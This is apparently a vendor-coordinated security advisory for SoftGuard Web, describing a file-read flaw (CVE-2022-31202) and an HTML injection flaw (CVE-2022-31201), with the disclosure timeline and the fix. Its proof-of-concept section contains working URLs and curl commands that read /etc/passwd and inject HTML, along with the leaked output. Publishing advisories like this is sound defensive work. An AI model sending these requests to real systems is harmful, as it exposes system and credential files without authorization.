SEC Consult Vulnerability Lab Security Advisory < 20220609-0 >

           title: Multiple vulnerabilities  
         product: SoftGuard SNMP Network Management Extension  

vulnerable version: SoftGuard Web (SGW) < 5.1.5
fixed version: SoftGuard version 5.1.5 from 2022-06-01
CVE number: CVE-2022-31201, CVE-2022-31202
impact: High
homepage: https://gravitate.eu (reseller)
found: 2022-04-14
by: Philipp Espernberger (Office Linz)
SEC Consult Vulnerability Lab

                  An integrated part of SEC Consult, an Atos company  
                  Europe | Asia | North America

                  https://www.sec-consult.com

=======================================================================

Vendor description:

There is no public description available for this vendor/product. The following
description was provided as documentation:

"SoftGuard is a network management extension which collects inventory-, analysis-
and debugging data of devices and networks at least once a day. SoftGuard has an
open structure, is built simple, is easily expandable, easy to use and is laid out
for large scale networks. The data collection is performed with the protocols SNMP
supporting the versions 1, 2c and 3. Additional protocols like ssh, telnet, rsh,
https, NetBIOS/IP, ICMP … complemented by SNMP if required.

The SoftGuard Suite consists of three parts:

• SoftGuard Network Center (SNC)
• SoftGuard Host Center (SHC)
• SoftGuard Monitor Center (SMC)

Aditionally there are a bunch of common and customer specific expansions like
SoftGuard Web (SGW), SoftGuard Statistic Tool (SST), Port Configuration Tool (PCT),
Network Access Points (NAP), Technician Access Point (TAP), etc."

Business recommendation:

SEC Consult recommends to update to the latest version of SoftGuard (network management
extension).

An in-depth security analysis performed by security professionals is highly
advised, to identify and resolve potential further critical security issues.

Vulnerability overview/description:

1. File System Access (CVE-2022-31202)
   The export function allows authenticated attackers to download any
   arbitrary local file from the file system due to insufficient input
   validation. The unfiltered URL parameter query enables an attacker to
   access arbitrary local files. This allows the attacker to define the
   complete path and the filename by himself. Files that include passwords
   and other sensitive information can be accessed.
   Furthermore, the built-in man functionality also allows attackers to
   read any arbitrary local file from the file system.

2. HTML Injection (CVE-2022-31201)
   Various components do not properly sanitize/encode user input. This
   leads to HTML injection vulnerabilities. By exploiting this vulnerability,
   an attacker can include arbitrary HTML into the affected web page. The
   code is executed in the context of the victim’s browser when visiting
   the manipulated URL. The vulnerability can be used to change the contents
   of the displayed site or redirect to other sites.

During the security assessment it was not possible to execute JavaScript
code because the security headers Content-Security-Policy and
X-Content-Type-Options are preventing the execution.

Proof of concept:

1. File System Access (CVE-2022-31202)
   1a) Export functionality
   In order to access arbitrary local files, the export function as authenticated
   user (Administration -> User -> Access -> Export) can be used. The following URL
   was used to set the filename to /etc/passwd
   ===============================================================================
   https://$host:8016/sgw/export?dbs=file&db=DefUser_access_$username_db%2e
   1649426888398872%2etmp&query=file%3a/etc/passwd’

===============================================================================

The newly set filename (/etc/passwd) can be exported and downloaded via the
execution button. Afterwards the content of the file gets downloaded successfully.
===============================================================================
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
[…]
===============================================================================

1b) MAN functionality
The following curl command shows how an authenticated attacker can gain access
to any arbitrary local file:
===============================================================================
curl ‘https://$host:8016/cgi-bin/man.tcl’ -H 'Authorization: Basic […]'
–data ‘act=1&x=%2Fetc%2Fpasswd&submit=Execute’ --compressed --insecure

===============================================================================

The curl response includes the contents of the file:

<!DOCTYPE html>
<html lang="en"><head><meta charset="UTF-8" />
[…]
<pre>
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
[…]
===============================================================================

2. HTML Injection (CVE-2022-31201)
   When a new graph is created an authenticated attacker controls the GET parameters
   and can inject malicious content. The following curl command shows how an
   authenticated attacker can inject HTML code:
   ===============================================================================
   curl ‘https://$host:8016/sgw/graph?tbl=sgNode&t=percent&h=Status%3Ch1%3ESEC-
   Consult%3C/h1%3E+%23&v=%7bdown+1934+orange%7d+%7bicmp+555+red%7d+%7bsnmpaaaa+8723+green%7d&scale=5’
   -H 'Authorization: Basic […]' --compressed --insecure

===============================================================================

The curl response includes the injected HTML code <h1>SEC Consult</h1>:

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8"/>
<title>SGW - Graph: Node</title>
[…]
</head>
<body class="master">
[…]
<caption>∑3, Status<h1>SEC Consult</h1>, #11212</caption>
[…]
<tr><td>Status<h1>SEC Consult</h1></td>
[…]
</body></html>
===============================================================================

Vulnerable / tested versions:

The following version has been tested and found to be vulnerable:

• SoftGuard Web (SGW) 5.1.3

The vendor provided the following information regarding the affected versions:

1a) affected version 4.5.0 (2019-05-04) to version 4.5.8 (2020-05-05)
1b) since SoftGuard 2.0 with SoftGuard Web 1.0 (~1998/99)

2. since SoftGuard 3.6.0 (2009-10-31) / SoftGuard 3.6.6 (2011-02-15) with
   SoftGuard Web 2.6.0/2.6.6

Vendor contact timeline:

2022-05-11: Contacting vendor through direct email address.
2022-05-11: Sent encrypted security advisory to vendor
2022-05-12: Received feedback from the vendor for the security advisory
2022-05-16: Received confirmation that a new version of SoftGuard was
already rolled out to the customers which included the fix
2022-05-16: Received additional information which versions are vulnerable
2022-05-19: Received CVE numbers.
2022-05-20: Reviewed the fixed version 5.1.4 and found that HTML injection
still works at other endpoints, other issues are fixed.
2022-05-20: Vendor replies that new version 5.1.5. will be released on 1st June.
2022-06-01: Vendor releases patched version 5.1.5.
2022-06-09: Coordinated release of security advisory.

Solution:

The vendor rolled out new software versions. Affected users should verify that
they are using the latest version available (5.1.5 from 2022-06-01 or higher).

Workaround:

None

Advisory URL:

https://sec-consult.com/vulnerability-lab/

SEC Consult Vulnerability Lab

SEC Consult, an Atos company  
Europe | Asia | North America

About SEC Consult Vulnerability Lab  
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Hence our customers obtain the most current information about vulnerabilities  
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EOF P. Espernberger / @2022